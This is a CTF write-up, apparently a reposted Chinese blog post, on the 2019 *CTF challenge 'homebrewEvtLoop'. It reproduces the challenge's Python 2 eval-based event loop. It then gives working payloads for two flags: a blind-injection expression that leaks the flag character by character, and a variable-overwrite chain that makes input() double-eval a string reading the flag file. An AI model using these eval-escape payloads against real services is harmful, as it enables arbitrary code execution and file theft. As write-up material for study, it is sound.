2019*CTF之homebrewEvtLoop

这道题中留了两个flag,分别可用盲注和直接RCE读取的方式获得,挺有意思的,记录一下。

题目

首先代码如下:

#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import sys
import hashlib
import random

# private ------------------------------------------------------------
def flag():
    # flag of stage 1
    return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'

def flag2():
    ret = ''
    # flag of stage 2
    # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
    return ret

def switch_safe_mode_factory():
    ctx = {'io_pair': [None, None]}
    def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
    return __wrapper

def PoW():
    #return
    while True:
        a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
        print 'hashlib.sha1(input).hexdigest() == "%s"' % a
        print '>',
        input = raw_input()
        if hashlib.sha1(input).hexdigest()[:4] == a:
            break
        print 'invalid PoW, please retry'

# protected ----------------------------------------------------------
def fib(a):
    if a <= 1: return 1
    return fib(a-1)+fib(a-2)

# public -------------------------------------------------------------
def load_flag_handler(args):
    global session
    session['log'] = flag2()
    return 'done'

def ping_handler(args):
    return 'pong'

def fib_handler(args):
    a = int(args[0])
    if a > 5 or a < 0: return 'out of range'
    return str(fib(a))

if __name__ == '__main__':
    session = {}
    session['log'] = flag()
    switch_safe_mode = switch_safe_mode_factory()
    switch_safe_mode_factory = None
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

    while True:
        PoW()
        print '$',
        event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
        switch_safe_mode()
        if event == 'exit': break

        for c in event:
            if c not in valid_event_chars:
                print "invalid request"
                exit(-1)

        event, args = event.split('114514')
        args = args.split('114514')

        try:
            handler = eval(event)
            print handler(args)
        #except Exception, e:
        #	print 'exception:', str(e)
        except:
            print 'exception'

程序将用户输入的数据通过114514来切割,分别作为函数名和参数。然后函数名会用eval处理,不过函数名还会经过valid_event_chars字符白名单验证,需要绕过。

盲注

盲注payload如下:

session[args[0]][5]in[event[49]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514log

# 把这个payload分成三个部分
# flag字符拆解 and dir or 字符集

session[args[0]][5] 中的5其实是flag字符的下标,而 event[49] 中的49对应的是整个payload中字符的下标,即用于拆解的字符集中的a字符。

# flag字符拆解 and dir or 字符集

如果flag字符拆解结果为True:
flag字符拆解 and dir or 字符集 => True and dir or 字符集 => dir => dir(字符串)

如果flag字符拆解结果为False:
flag字符拆解 and dir or 字符集 =>  False and dir or 字符集  => 字符集 => 字符集(字符串)

程序之后又将这个eval的返回结果作为函数名调用对应函数,根据这两种不同的返回结果,我们就可以进行逐位盲注。

RCE

再来看看RCE的payload:

# 第一次输入
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514

# 第二次输入
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]

第一次输入的payload可以拆解如下:

[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]]
# 类似于
l = []
for [PoW] in [[switch_safe_mode]] :
    PoW = switch_safe_mode
    for [raw_input] in [[input]] :
        raw_input = input
        l.append([str])

这段payload做的最重要的就是变量覆盖,修改函数原有的功能。这里使Pow变成了switch_safe_mode,而raw_input变成了input。然后在下一次循环的时候,Pow函数就不会再要我们输入字符串校验。

扫描二维码关注公众号,回复: 6119035 查看本文章

这里之所以把raw_input变成了input,是因为题目环境为python2.x,而Python2.x中input函数定义如下:

Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入。
Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型。

这样就相当于下次输入的字符串会执行两次eval,我们再来看第二次输入的payload:

# 第二次输入
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]

这个payload经过input函数后,实际上就是把前一半 [[str]for[args]in[[session]]][0][0]114514 的内容赋值给了event。但是它还做了一件很重要的问题,那就是把flag文件的内容赋值给了session变量。这里涉及到python变量作用范围问题,如下例子:

>>> i = 233
>>> l = [i for i in range(1,10)]
>>> i
9

列表生成式中的变量会影响列表以外的变量,之后获得flag的过程就如下:

event = raw_input() # event: '[[str]for[args]in[[session]]][0][0]114514'; session: flag内容
event, args = event.split('114514') # event:
args = args.split('114514')
handler = eval(event) # event: str; args: flag内容
print handler(args) # str(flag内容)

猜你喜欢

转载自blog.csdn.net/c710473510/article/details/89814192
今日推荐